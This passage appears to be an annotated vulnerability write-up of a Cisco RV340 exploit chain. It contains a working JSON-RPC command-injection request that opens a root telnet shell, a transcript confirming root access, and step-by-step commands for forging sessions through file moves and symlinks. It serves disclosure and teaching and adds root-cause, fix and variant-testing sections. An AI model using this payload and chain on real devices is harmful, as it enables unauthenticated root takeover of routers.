'</div><div>' +
b +
'</div>',
cbk: function() {
C();
},
});
},
});
}
Line by line:
if (d.length) {runs only if there is at least one client in the listd.b.post({ ... })sends an HTTP POST request. POST is the method browsers use to submit data, as opposed to GET, which just asks for a page.forcedUsingPost: true,forces the POST method.method: 'action',andparams: { rpc: 'update-clients', input: { clients: d } },build the body: the method isaction, the RPC name isupdate-clients, and the input is the list of clients.success: function() { n(); }runsn()if the request succeeds.error: function(b) { ... }handles failures: it extracts an error string and shows a pop-up box with a translated message and the error text.
This led to a reduced test case:
POST /jsonrpc HTTP/1.1
Host: [redacted]:8080
Accept: application/json, text/plain, */*
Content-Length: 232
Connection: close
Cookie: sessionid=[redacted];
{
"jsonrpc":"2.0",
"method":"action",
"params":{
"rpc":"update-clients",
"input":{
"clients": [
{
"hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2304)",
"mac": "[redacted]",
"device-type": "client",
"os-type": "windows"
}
]
}
}
}
Line by line:
POST /jsonrpc HTTP/1.1sends a POST request to the address/jsonrpc, using version 1.1 of the HTTP protocol.Host: [redacted]:8080says which machine and port the request is for.[redacted]is the loopback address, meaning the same machine.Accept: application/json, text/plain, */*tells the server which reply formats the client understands.Content-Length: 232states the size of the body in bytes.Connection: closeasks to close the connection after the reply.Cookie: sessionid=[redacted];carries the session cookie, the wristband that proves you are logged in.- The JSON body (JSON is a text format for structured data, using curly braces for objects and square brackets for lists) says: use JSON-RPC version 2.0, call the method
action, with the RPCupdate-clients, and pass one client. "hostname": "hostname$(/usr/sbin/telnetd -l /bin/sh -p 2304)"is the payload. The$(...)part is command substitution: the shell runs/usr/sbin/telnetd -l /bin/sh -p 2304, which starts a telnet server (a simple remote login service) on port2304and gives anyone who connects a shell (/bin/sh).- The other fields (
mac,device-type,os-type) are ordinary values that satisfy the YANG definition.
The hostname value contains a command substitution that starts a telnet listener bound to /bin/sh on port 2304. The injection was confirmed by connecting to the newly opened telnet listener:
$ telnet [redacted] 2304
Trying 192.168.1.1...
Connected to 192.168.1.1.
Escape character is '^]'.
BusyBox v1.23.2 (2021-06-14 02:21:16 IST) built-in shell (ash)
/usr/bin # id
uid=0(root) gid=0(root)
Line by line:
$ telnet [redacted] 2304connects to the router's address on port 2304.$is just the prompt symbol.Trying 192.168.1.1...andConnected to 192.168.1.1.show the connection succeeded.Escape character is '^]'.is the usual telnet message telling you how to quit.BusyBox v1.23.2 ... built-in shell (ash)shows the shell that answered. BusyBox is a small collection of Unix tools used on embedded devices./usr/bin # idruns theidcommand, which reports who you are.uid=0(root) gid=0(root)shows the user ID 0, which isroot, the all-powerful account.
The shell runs as root, so no privilege escalation is required. Privilege escalation means going from a low-power account to a high-power one; here there is no need, because the shell is already at the top. This is because the server receiving these YANG-based RPC calls is confd, which runs as root on the device.
Exploitation
Step 1: Understand the session file format
When a user logs into a Cisco RV340, the following session files are created:
/tmp
├── websession
├── session (json definition of current session)
└── token
├── [redacted] (empty file)
Line by line:
/tmpis a folder for temporary files.websessionis a folder inside it that holds web login information.sessionis a file describing the current login in JSON.tokenis a folder holding one empty file per active session, named after the session ID. The check in Bug 2 looks for exactly such a file.
The session file holds a JSON object like the one below:
{
"max-count": 1,
// username
"cisco": {
// sessionid
"Y2lzY28vMTkyLjE2OC4xLjIvNTky": {
"user": "cisco", // username
"group": "admin", // user group
"time": 592, // device uptime in seconds, obtained with sysinfo()
"access": 1,
"timeout": 1800, // timeout in seconds
"leasetime": 15547943
}
}
}
Line by line:
"max-count": 1says how many sessions are allowed."cisco": { ... }groups sessions by username.ciscois the account name."Y2lzY28vMTkyLjE2OC4xLjIvNTky": { ... }is the session ID, used as a key."user": "cisco"is the username."group": "admin"is the permission group;adminmeans full rights."time": 592is the device uptime in seconds when the session was made."access": 1is an access flag."timeout": 1800is how long the session lasts, in seconds."leasetime": 15547943is another timestamp.
The sessionid is a base64 encoded string of slash separated values holding username, time of emission, and source IP address:
cisco/[redacted]/592
Base64 is a way of writing arbitrary data using only letters, digits and a few symbols, so it can travel safely in text. Decoding the example gives the username cisco, the source IP [redacted] and the time 592.
Step 2: Create fake session directories
The arbitrary file move is limited to moving files into /tmp/www, so files in /tmp cannot be overwritten directly. To get around this, symlink indirection is used by moving the /var directory to /tmp/www/iotinspector. The /var directory is actually a symlink to /tmp. This is the equivalent of doing:
/ $ ls -alh | grep var
lrwxrwxrwx 1 root root 4 Jun 13 2021 var -> /tmp
/ $ mv /var /tmp/www/iotinspector
mv: can't preserve ownership of '/tmp/www/iotinspector': Operation not permitted
mv: can't remove '/var': Permission denied
Line by line:
ls -alh | grep varlists files in long format and filters for lines containingvar. The|symbol pipes the output of one command into another.lrwxrwxrwx ... var -> /tmpshows thatvaris a symlink pointing to/tmp. The leadinglmeans link.mv /var /tmp/www/iotinspectortries to move that link into the web folder under a new name.- The two error lines say ownership could not be preserved and
/varcould not be removed. Despite the errors, the link is created in the new place.
Even though errors are returned, the file is created:
/tmp/www $ ls -alh
drwxr-xr-x 5 www-data www-data 240 Jul 13 10:56 .
drwxrwxrwt 37 root root 1.6K Jul 13 10:56 ..
--snip--
lrwxrwxrwx 1 www-data www-data 4 Jul 13 10:56 iotinspector -> /tmp
Line by line:
ls -alhlists the contents of/tmp/www.- The
.and..entries are the folder itself and its parent. --snip--marks omitted lines.iotinspector -> /tmpconfirms the new link exists and points to/tmp. Now anything written through/tmp/www/iotinspector/...actually lands in/tmp/....
Next, fake session directories are created in /tmp/www and then moved to /tmp to create one or replace the existing one. Simplified down to shell commands, with the controlled part between <>, it looks like this:
# move websession to somewhere else, make sure it does not exist
mv </tmp/websession> /tmp/www/<whatever>
# create fake session directories by moving default empty tmp directories
mv </tmp/in_certs> /tmp/www/<websession>
mv </tmp/3g-4g-driver> /tmp/www/<token>
# upload session file and move it
mv </tmp/upload/0000000001> /tmp/www/<session>
mv </tmp/www/session> /tmp/www/<websession>
# upload token file and move it
mv </tmp/upload/0000000002> /tmp/www/<Y2lzY28vMTkyLjE2OC4xLjIvNTky>
mv </tmp/www/Y2lzY28vMTkyLjE2OC4xLjIvNTky> /tmp/www/<token>
# move token directory into the session dir
mv </tmp/www/token> /tmp/www/<websession>
# move the websession dir to /tmp using symlinks
mv </tmp/www/websession> /tmp/www/<iotinspector>
Line by line:
mv </tmp/websession> /tmp/www/<whatever>moves the real session folder out of the way so a fake one can take its place.mv </tmp/in_certs> /tmp/www/<websession>andmv </tmp/3g-4g-driver> /tmp/www/<token>reuse existing empty folders as the skeleton of the fake session folder and its token folder.mv </tmp/upload/0000000001> /tmp/www/<session>moves the uploaded fake session file into the web folder, and the next line moves it into the fake session folder.mv </tmp/upload/0000000002> /tmp/www/<Y2lzY28vMTkyLjE2OC4xLjIvNTky>moves the uploaded empty token file into the web folder under the session ID name, and the next line moves it into the token folder.mv </tmp/www/token> /tmp/www/<websession>puts the token folder inside the session folder.mv </tmp/www/websession> /tmp/www/<iotinspector>moves the whole fake session folder through the symlink, so it ends up in/tmp.
This is possible because mv moves files to directories even if the second argument does not end with a forward slash. In everyday terms: if you hand a courier a parcel addressed to a building rather than a specific flat, they still deliver it into the building.
Step 3: Identify the uploaded file location
If a user has been uploading files before the exploit runs, files may be located under the /tmp/upload directory used by Nginx. Even if there are none, Nginx keeps a counter throughout its uptime that increases on each file upload. When a file is uploaded, its exact location is unknown, so it has to be guessed before the move is performed.
The strategy to leak the uploaded file location is:
- Loop through potential uploaded file names from
/tmp/upload/0000000001to/tmp/upload/0000000100. - For each potential file name, move it to
/tmp/www/login.html. - Leak the content of
/tmp/www/login.htmlby sending a GET request, hash the response and compare it to the hash of the recently uploaded file. - If the hash matches, move
/tmp/www/login.htmlback to its original location and recover the login page by moving/www/login.html.defaultto/tmp/www/login.html.
Why each step: the upload folder uses sequential numbers, so the file is somewhere in the first hundred names. Moving each candidate to the login page and fetching the login page shows what is there. A hash is a short fingerprint of the content; if the fingerprint of the fetched page matches the fingerprint of the file just uploaded, the guess was right. The last step puts the real login page back so the device looks normal.
Step 4: Craft fake session files
The cisco user is a default user that cannot be deleted and is always part of the admin group, so that user can be reused. The time and timeout values still need to be handled.
{
"max-count": 1,
// username
"cisco": {
// sessionid
"Y2lzY28vMTkyLjE2OC4xLjIvNTky": {
"user": "cisco", // username
"group": "admin", // user group
"time": 592, // device uptime in seconds, obtained with sysinfo()
"access": 1,
"timeout": 1800, // timeout in seconds
"leasetime": 15547943
}
}
}
Line by line: this is the same structure as the real session file. max-count limits sessions, cisco is the account, the long key is the session ID, and the fields inside describe the user, group, uptime, access flag, timeout and lease time. The values must look plausible or the device will reject the session.
The timeout value is discarded if the file /tmp/webcache/web-session-timeout.json exists. It could be moved to /dev/null and a session file created with a timeout value of 999999, but removing that file might trigger unknown issues. /dev/null is a special file that throws away anything written to it. Instead, the device uptime in seconds can be leaked and used to generate the fake session object. Leaking the uptime is simple: move the proc uptime to the login page, which overwrites the login page with the content of proc uptime at the time of reading, then read the login page with a GET request and parse the uptime value. /proc/uptime is a virtual file the system provides that contains how long the machine has been running.
mv /proc/uptime /tmp/www/login.html
Line by line: mv moves the uptime file over the login page. After this, anyone who opens the login page sees the uptime numbers instead of the page, and the attacker can read them.
One issue that might block the exploit is the presence of equal signs in the sessionid. The destination filename can only contain underscore, dot and alphanumeric characters, so if the sessionid contains an equal sign, the move fails. Base64 often ends with = characters as padding, which fill out the last group of characters.
Three parameters influence the presence of equal signs in the base64 encoded sessionid:
- username, which cannot be controlled
- source IP, which can be controlled by getting the right DHCP lease
- device uptime, which cannot be controlled
- a slash followed by padding characters that gets discarded when
sessionidis parsed
A DHCP lease is the temporary assignment of an IP address to a device by the network. By choosing which address the attacking machine gets, the attacker can influence the text that goes into the session ID. In the end, padding was used to remove the equal sign from the base64 encoded sessionid. With that knowledge, the fake session objects can be crafted.
Step 5: Send the command injection
With the fake session created on the device, authenticated requests can be sent to trigger the command injection described above in the update-clients RPC. The fake session is the wristband that gets past the login check, and the RPC call is the same one shown earlier.
Step 6: Run the exploit

Root cause
The fundamental issue that allowed these vulnerabilities to be exploited is a misunderstanding of Nginx configurations. The authorization checks rely on setting $deny from the presence of a header or a cookie-backed file, and the /form-file-upload location is left without any check at all. The prepare_file function in upload.cgi builds a shell command with sprintf and runs it with system, and it is called before the query path is validated, so the file move happens regardless of which endpoint was reached. The destination filename is restricted by a regex to ^[a-zA-Z0-9_.-]*$, but the source path is not, which is what allows arbitrary files to be moved.
The command injection is a "second order" injection: the attacker has to understand the inner relationship between ConfD, its configuration files and the scripts it is linked to. "Second order" means the harmful input is not used immediately; it is stored or passed along and only later reaches a place where it is executed. The YANG definition types hostname, device-type and os-type as plain strings, and the Perl script passes them inside double quotes to system, so shell expansion and backticks are evaluated. Because confd runs as root, the injected commands run as root.
Impact
The chain gives remote command execution as root over the LAN interface, starting from unauthenticated requests. The CVSS vector is AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, rated 10 (critical). The exploit requires the ability to reach the web interface over the LAN and to perform the sequence of file moves and uploads described above; the report does not describe any other precondition.
Fix
Cisco released its advisory on 2022-02-02, and the fixed version is 1.0.03.26. The report does not describe the individual code changes. The advice given to researchers is to review the configuration of any web server found on embedded devices for potential authentication bypasses, since these misconfigurations have mostly been identified in large web applications but can also affect embedded devices.
Variants to test
- Review Nginx
locationblocks for checks that only test whether a header is non-empty, or that protect one path while leaving a sibling path (such as/form-file-uploadnext to/upload) unprotected. A positive result is reaching an upload or CGI handler without a valid session. - Look for CGI handlers that build shell commands with
sprintfandsystemand call them before validating the request path. A positive result is a file move or command execution triggered from an endpoint that should not reach that code. - Check whether destination filename filters are applied to the source path as well. A positive result is moving an arbitrary file, such as
/proc/uptime, into a web-served directory. - On devices relying on ConfD, develop scripts identifying RPC endpoint definitions with loosely typed inputs calling insecure scripts (Perl, Lua, shell, etc.). A positive result is a string-typed leaf whose value reaches a shell command inside double quotes, allowing command substitution.
- Test whether symlinked directories can be moved into a writable web directory to gain indirection into
/tmp. A positive result is a symlink such asiotinspector -> /tmpappearing under the web root even whenmvreports ownership or permission errors.
Glossary
- API: a defined way for one program to ask another to do something, like a menu of requests a service accepts.
- Authentication: proving who you are, usually with a username and password or a session token.
- Authorization: deciding what an authenticated (or anonymous) user is allowed to do.
- Authentication bypass: getting past a login check without valid credentials.
- Base64: a way of encoding arbitrary data using letters, digits and a few symbols so it can travel as text.
- CGI: a small program a web server runs to handle a request.
- Command injection: tricking a program into running extra shell commands hidden inside data it was given.
- Command substitution: a shell feature where
$(...)or backticks are replaced by the output of the command inside. - ConfD: a program that manages a device's configuration and serves RPC calls, running with high privileges.
- Cookie: a small piece of data a website stores in your browser and the browser sends back on each request, like a wristband at an event.
- CVSS: a scoring system from 0 to 10 that rates the severity of a vulnerability.
- CVE ID: a public catalogue number for a known security flaw.
- DHCP lease: the temporary assignment of an IP address to a device on a network.
- GET: the HTTP method a browser uses to ask for a page.
- Hash: a short fingerprint computed from data, used to compare contents without comparing every byte.
- Header: a line of extra information attached to an HTTP request or response.
- HTTP: the protocol browsers and web servers use to talk.
- JSON: a text format for structured data using objects and lists.
- JSON-RPC: a way of making remote procedure calls where the request and reply are JSON.
- LAN: the local network on your side of the router.
- MAC address: the hardware address of a network card.
- MD5: a hash function that produces a short fingerprint of data.
- Nginx: a popular web server program that routes requests according to configuration files.
- PATH: the list of folders a system searches when you type a command name.
- Perl: a programming language often used for small system scripts.
- POST: the HTTP method used to submit data to a server.
- Privilege escalation: going from a low-power account to a higher-power one.
- RCE: remote code execution, running your own commands on someone else's machine.
- Root: the all-powerful administrator account on Unix-like systems.
- RPC: remote procedure call, one program asking another to perform an action.
- Session: a period during which a user is recognised as logged in.
- Session ID: the value that identifies a session, often stored in a cookie.
- Shell: the program that reads and runs typed commands.
- String: a sequence of text characters.
- Symlink: a shortcut file that points to another file or folder.
- Telnet: a simple remote login protocol and program.
- Uptime: how long a machine has been running since it was last started.
- VPN: a private, encrypted tunnel over a public network.
- WAN: the wide area network, the internet side of a router.
- YANG: a language for describing the shape of configuration data so it can be checked.